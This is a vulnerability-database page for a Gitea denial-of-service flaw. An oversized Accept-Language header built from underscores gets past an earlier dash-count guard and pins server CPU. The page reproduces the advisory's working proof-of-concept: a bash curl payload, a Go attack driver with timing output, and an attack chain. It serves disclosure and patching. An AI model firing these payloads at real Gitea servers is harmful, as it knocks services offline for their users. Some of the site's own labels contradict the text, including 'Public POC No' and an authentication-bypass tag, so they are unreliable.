Skip to main content

Gitea CVE-2026-58436

| EUVDEUVD-2026-58163 HIGH
Inefficient Algorithmic Complexity (CWE-407)
2026-07-21 https://github.com/go-gitea/gitea GHSA-fw57-jgch-pgf3
7.5
CVSS 3.1 · Vendor: https://github.com/go-gitea/gitea
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send HTTP GET to any unauthenticated Gitea endpoint
  2. Delivery
    Include ~1 MiB Accept-Language header using underscore separators
  3. Exploit
    Bypass CVE-2022-32149 dash-count guard (zero dashes detected)
  4. Execution
    Trigger O(N²) gobble path in ParseAcceptLanguage
  5. Persist
    Pin server CPU core for ~2 seconds per request
  6. Impact
    Repeat concurrently to exhaust all host CPU cores

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V2 - Validation and Business Logic Algorithmic complexity limits
Exploitation Conditions

No special configuration is required - the Locale middleware is registered globally and runs on every HTTP request including the unauthenticated landing page and sign-in page, meaning any network-reachable Gitea instance is exposed in its default state. No cookies, tokens, session state, or prior interaction are needed; the attacker must only be able to set a custom Accept-Language header, which any HTTP client supports. The golang.org/x/text library bundled with affected Gitea versions must not independently cap underscore characters (confirmed through 1.26.4). What limits exploitation: (1) impact is purely availability - no data is disclosed and no code is executed; (2) responses return HTTP 200, making detection via standard 4xx/5xx alerting ineffective; (3) a reverse proxy or WAF enforcing a header size limit of ~200 bytes fully neutralizes the attack before it reaches Gitea; (4) instances not exposed to the public internet are at significantly reduced risk due to the requirement for network reachability.

Impact

The NVD-assigned CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (score 7.5) is an accurate characterization: the attack is fully network-accessible, requires no authentication or user interaction, and delivers high availability impact with zero confidentiality or integrity consequence. The EPSS score of 0.15% at the 5th percentile is low for a vulnerability with a published proof-of-concept, suggesting that widespread automated scanning has not yet materialized at time of scoring - though EPSS lags publication of PoC code and may not yet reflect the full advisory disclosure. There is no CISA KEV listing, meaning confirmed in-the-wild exploitation has not been formally validated, so distinguishing targeted from opportunistic use is not possible from available data. Despite low EPSS, the practical exploitation barrier is minimal: a single curl command with a crafted header suffices, the amplification ratio is extreme (~1 MiB upstream burns ~2 CPU-seconds), and the attack surface is every unauthenticated HTTP endpoint. Even a mid-sized municipal IT team in malbork operating a public-facing Gitea instance should treat this as urgent given the trivial tooling required and the fact that attack traffic returns HTTP 200, making detection via standard error-rate dashboards unreliable. SSVC signals align with a prioritize-patch posture for any internet-facing deployment: exploitation is automatable, technical impact is partial (availability-only), and no authentication is required.

Exploit ScenarioDerived

An unauthenticated attacker sends repeated HTTP GET requests to the Gitea landing page or sign-in page with a crafted Accept-Language header of approximately 1 MiB constructed from underscore-separated tokens such as en_abcdefghi_abcdefghi... - the CVE-2022-32149 dash-count guard sees zero dashes and allows the input through, after which the quadratic gobble path in ParseAcceptLanguage runs to completion and consumes approximately 2 seconds of server CPU per request. A detailed proof-of-concept including a bash one-liner and a Go driver demonstrating the timing differential is publicly available in the GHSA advisory, making replication trivial.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv3 – Aug 14, 2026

Unauthenticated denial of service in Gitea's Locale middleware allows any remote attacker to consume ~2 seconds of server CPU per HTTP request by crafting a ~1 MiB Accept-Language header composed of underscore separators, bypassing the existing CVE-2022-32149 guard in golang.org/x/text which only counts dash characters. All Gitea releases from 1.22.x through 1.26.x are affected because the middleware at modules/web/middleware/locale.go:38 passes the raw, unfiltered header directly to the quadratic-time ParseAcceptLanguage parser; ten concurrent attackers consuming ~10 MiB/s of upstream bandwidth can saturate all cores of a ten-core host indefinitely. Publicly available exploit code exists in the GHSA advisory; no active exploitation has been confirmed by CISA KEV at time of analysis.

Earlier versions of this analysis (2)
v2 Aug 14, 2026 - 18:43 cvss changed CVSS 7.5

Denial-of-service in Gitea's Locale middleware allows any unauthenticated remote attacker to exhaust server CPU by sending a crafted Accept-Language HTTP header filled with underscore-separated pseudo-language tokens, bypassing the existing CVE-2022-32149 guard in golang.org/x/text. A single 1 MiB request burns approximately 2 seconds of CPU on one core; ten concurrent attackers using only ~10 MiB/s of upstream bandwidth can saturate a ten-core Gitea host indefinitely, denying service to all users. Publicly available exploit code exists in GitHub Security Advisory GHSA-fw57-jgch-pgf3; EPSS is low at 0.15% (5th percentile), but the trivial, zero-prerequisite attack vector makes this a practical availability risk for any internet-facing Gitea deployment.

v1 Jul 21, 2026 - 22:02

Uncontrolled CPU consumption in Gitea (code.gitea.io/gitea, all versions < 1.27.0) lets a remote unauthenticated attacker stall the server by sending a single crafted Accept-Language header. The Locale middleware runs on every request - including the landing and sign-in pages - and passes the raw header into golang.org/x/text's ParseAcceptLanguage, whose quadratic-time scanner is reachable because the CVE-2022-32149 hardening only counts '-' separators while the scanner also treats '_' as a separator alias. A 1 MiB header of '_'-separated garbage tokens burns ~2 seconds of one CPU core per request while returning HTTP 200, and publicly available proof-of-concept code (bash one-liner plus a Go E2E driver) demonstrates the bypass; no active exploitation is reported.

RemediationAI

Vendor-released patch: v1.27.0. Upgrade to Gitea 1.27.0, which introduces a 200-character hard truncation of the Accept-Language header inside a new parseAcceptLanguage wrapper in modules/web/middleware/locale.go (commit f452c369acc9f1bd05ec6ef9c2e4399062dd6da1, PR https://github.com/go-gitea/gitea/pull/38323; release blog at https://blog.gitea.com/gitea-1.27.0-is-released/ and tagged release at https://github.com/go-gitea/gitea/releases/tag/v1.27.0). For deployments that cannot upgrade immediately, place a reverse proxy or WAF in front of Gitea and reject or truncate Accept-Language headers exceeding 200 bytes - for example via nginx's proxy_set_header or a ModSecurity rule; this eliminates the attack surface without application changes, though it may silently discard unusual but legitimate multi-language preference lists (a negligible real-world trade-off since browser headers rarely exceed 100 bytes). Reducing Go's net/http MaxHeaderBytes is a code-level alternative but requires recompilation. Note that the root cause also exists in the golang.org/x/text library itself; an upstream fix to ParseAcceptLanguage would be the definitive long-term resolution.

Affected VersionsENISA

Gitea Open Source Git Server 0 ≤1.26.4

Affected Packages

go code.gitea.io/gitea fix: 1.27.0
go gitea.dev fix: 1.27.0
euvd gitea_open_source_git_server no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is rooted in CWE-407 (Insufficient Control of Algorithmic Complexity). Gitea's HTTP request pipeline wires the Locale middleware globally in routers/web/web.go so it runs before authentication on every request. At modules/web/middleware/locale.go:38, the middleware calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header value. The BCP 47 parser inside golang.org/x/text has a known quadratic-time scan path (the gobble function in internal/language/parse.go) triggered by long lists of malformed language tags. CVE-2022-32149 added a guard in 2022 that rejects inputs containing more than 1000 dash (-) characters. However, the scanner internally aliases underscore (_) to dash before parsing, so inputs built from underscore separators contain zero dash characters, pass the guard unconditionally, and still drive the O(N²) gobble path. Because Go's net/http default MaxHeaderBytes is 1 MiB (1 << 20 bytes) and Gitea does not override it, an attacker can deliver up to 1 MiB of input - approximately 104,857 underscore-separated tokens - to the vulnerable parser. The affected package is pkg:go/code.gitea.io_gitea covering versions through 1.26.4 per ENISA EUVD-2026-58163.

Know when Gitea gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/go-gitea/gitea) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vuln.today AI 7.5 HIGH

Network-reachable unauthenticated endpoint with no special configuration; impact is exclusively availability via CPU exhaustion with no confidentiality or integrity consequence.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Red Hat 7.5 HIGH

Primary rating from Vendor (https://github.com/go-gitea/gitea).

CVSS VectorVendor: https://github.com/go-gitea/gitea

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

4
Analysis Updated
Aug 14, 2026 - 18:44 vuln.today
v3 - CVSS changed
Analysis Updated
Aug 14, 2026 - 18:43 vuln.today
v2 - CVSS changed
CVSS changed
Aug 14, 2026 - 18:22 NVD
7.5 (HIGH)
CVE Published
Jul 21, 2026 - 21:15 cve.org
HIGH

DescriptionCVE.org

Summary

The Locale middleware that runs in front of every unauthenticated request calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header without imposing a size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators burns ~2 seconds of server CPU on the host running Gitea; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~1 MiB of upstream bandwidth per request.

Affected versions

code.gitea.io/gitea 1.22.6 and (per code inspection of main) all earlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that do not impose their own size limit on the Accept-Language header before calling ParseAcceptLanguage. Verified on:

  • the official gitea/gitea:1.22.6 docker image (E2E below)
  • main at commit 6f4027a6be28c876c0abaf37cc939658645b78a3 by reading

modules/web/middleware/locale.go (the call site at line 38 is unchanged on main)

Privilege required

Unauthenticated. The Locale middleware runs for every HTTP request including the landing page and the sign-in page.

Vulnerable code

modules/web/middleware/locale.go:38 (blob SHA fc396f0808187c358b4fc15dcefcd6957140a780):

go
// 3. Get language information from 'Accept-Language'.
// The first element in the list is chosen to be the default language automatically.
if len(lang) == 0 {
    tags, _, _ := language.ParseAcceptLanguage(req.Header.Get("Accept-Language"))
    tag := translation.Match(tags...)
    lang = tag.String()
}

req.Header.Get("Accept-Language") is the unfiltered HTTP header. Default Go net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Gitea does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.

CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 1 MiB header full of 9-character _aaaaaaaaa_aaaaaaaaa_... tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path. The fix author of CVE-2022-32149 treated - as the canonical separator; the _ alias was added in 2013, nine years before the fix.

How Accept-Language reaches ParseAcceptLanguage

Every Gitea HTTP request passes through Locale as it is wired up via the global request pipeline (Gitea registers the middleware on its router in routers/web/web.go). The middleware sequence is:

  1. The request enters Locale(resp, req).
  2. req.URL.Query().Get("lang") returns "" (attacker omits lang).
  3. req.Cookie("lang") returns nil on a fresh client (attacker uses a

fresh client, or simply does not send the cookie).

  1. req.Header.Get("Accept-Language") returns the full attacker-supplied

header value.

  1. language.ParseAcceptLanguage(...) runs unfiltered.

No size or character class filter is applied between (4) and (5).

Proof of concept

Single-line bash reproducer that crafts the malicious header and times one request against a fresh gitea/gitea:1.22.6 container:

bash
docker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6
sleep 8

PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"

curl -sS -o /dev/null \
  -w 'http=%{http_code} t=%{time_total}\n' \
  -H "Accept-Language: ${PAYLOAD}" \
  http://127.0.0.1:13000/

Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).

End-to-end reproduction (against gitea/gitea:1.22.6)

A Go driver poc.go that boots the container, sends a 1 MiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):

go
// poc.go
package main

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "strings"
    "time"
)

const targetURL = "http://127.0.0.1:13000/"

func buildPayload(sep string, targetBytes int) string {
    const tok = "abcdefghi"
    var b strings.Builder
    b.Grow(targetBytes + 16)
    b.WriteString("en")
    for b.Len()+1+len(tok) <= targetBytes {
        b.WriteString(sep)
        b.WriteString(tok)
    }
    return b.String()
}

func send(label, header string) {
    client := &http.Client{
        Timeout: 60 * time.Second,
        Transport: &http.Transport{
            DisableKeepAlives: true,
            DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
        },
    }
    req, _ := http.NewRequest("GET", targetURL, nil)
    if header != "" {
        req.Header.Set("Accept-Language", header)
    }
    t0 := time.Now()
    resp, err := client.Do(req)
    dt := time.Since(t0)
    if err != nil {
        fmt.Printf("  %-32s ERR after %v: %v\n", label, dt, err)
        return
    }
    _, _ = io.Copy(io.Discard, resp.Body)
    resp.Body.Close()
    fmt.Printf("  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\n",
        label, len(header),
        strings.Count(header, "_"), strings.Count(header, "-"),
        resp.StatusCode, dt)
}

func main() {
    send("warm-up", "")
    send("baseline (no header)", "")
    send("baseline (1 short tag)", "en-US")
    send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
    send("attack ('_' x 1MiB)",     buildPayload("_", 1<<20))
    send("attack repeat 2",          buildPayload("_", 1<<20))
    send("attack repeat 3",          buildPayload("_", 1<<20))
}

Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official gitea/gitea:1.22.6 image with no other tuning):

E2E: golang/x/text ParseAcceptLanguage '_' bypass through
go-gitea/gitea 1.22.6 Locale middleware at
modules/web/middleware/locale.go:38.

Target: http://127.0.0.1:13000/

  warm-up (no header)              header=0 B  '_'=0  '-'=0  status=200  t=18.079666ms

--- measurements (single request each) ---
  baseline (no header)             header=0 B  '_'=0  '-'=0  status=200  t=6.480333ms
  baseline (1 short tag)           header=5 B  '_'=0  '-'=1  status=200  t=5.0455ms
  guard-fires control ('-' x 1MiB) header=1048572 B  '_'=0  '-'=104857  status=200  t=26.020625ms
  attack ('_' x 1MiB)              header=1048572 B  '_'=104857  '-'=0  status=200  t=2.159538333s
  attack repeat 2                  header=1048572 B  '_'=104857  '-'=0  status=200  t=1.938493583s
  attack repeat 3                  header=1048572 B  '_'=104857  '-'=0  status=200  t=1.679953042s

Interpretation:

RequestHeader bytesServer time
no header / short tag0 - 51 - 7 ms
1 MiB - separators (CVE-2022-32149 guard fires)1 MiB26 ms
1 MiB _ separators (guard bypassed)1 MiB1.7 - 2.2 s

The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 1 MiB - payload returns in 26 ms because the parser short-circuits with ErrTagListTooLarge. The _ attack returns 200 from the same endpoint but consumes ~2 s of server CPU because the guard did not fire and the quadratic scanner ran to completion.

Impact

  • One unauthenticated client can pin one CPU core for ~2 seconds per 1

MiB request.

  • Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a

10-core Gitea instance indefinitely.

  • The endpoint returns 200 OK, so the attack does not surface as

abnormal traffic in standard 4xx/5xx dashboards.

  • Self-hosted Gitea installations published to the public internet (the

common pattern) are exposed.

Suggested fix

Apply the size / character-class filter before reaching ParseAcceptLanguage. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count _ alongside - and short-circuit when the total exceeds a small ceiling:

go
// modules/web/middleware/locale.go
const maxAcceptLanguageSeparators = 32 // matches typical real browser values

if len(lang) == 0 {
    al := req.Header.Get("Accept-Language")
    if strings.Count(al, "-")+strings.Count(al, "_") > maxAcceptLanguageSeparators {
        // Refuse to call into the BCP 47 parser with absurd input.
        al = ""
    }
    tags, _, _ := language.ParseAcceptLanguage(al)
    tag := translation.Match(tags...)
    lang = tag.String()
}

A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.

The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive in depth at the only call site that consumes attacker input.

Credit

Reported by tonghuaroot.

Executive ViewAI

Why It Matters

Gitea versions 1.22.x through 1.26.x are vulnerable to unauthenticated denial-of-service attacks, and publicly available exploit code exists that allows attackers to exhaust server resources and render Git repository services unavailable. A small coordinated attack can permanently disable an instance, disrupting development operations and blocking critical workflows. Immediate patching is required to restore availability.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.2%
Top 95% exploitable
Prevalence
Medium
widely used self-hosted Git platform, but niche relative to GitHub or GitLab
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

More in Gitea

View all
CVE-2026-60004 CRITICAL POC
9.8

Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi

CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r

CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp

CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir

CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea

CVE-2026-72867 CRITICAL POC
9.9 Aug 10

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us

CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-59774 CRITICAL POC
9.8

Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec

CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem

CVE-2026-57894 HIGH POC
8.5 Jul 21

Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica

CVE-2026-24791 HIGH POC
8.1 Jun 17

Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran

Vendor StatusVendor

SUSE

Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy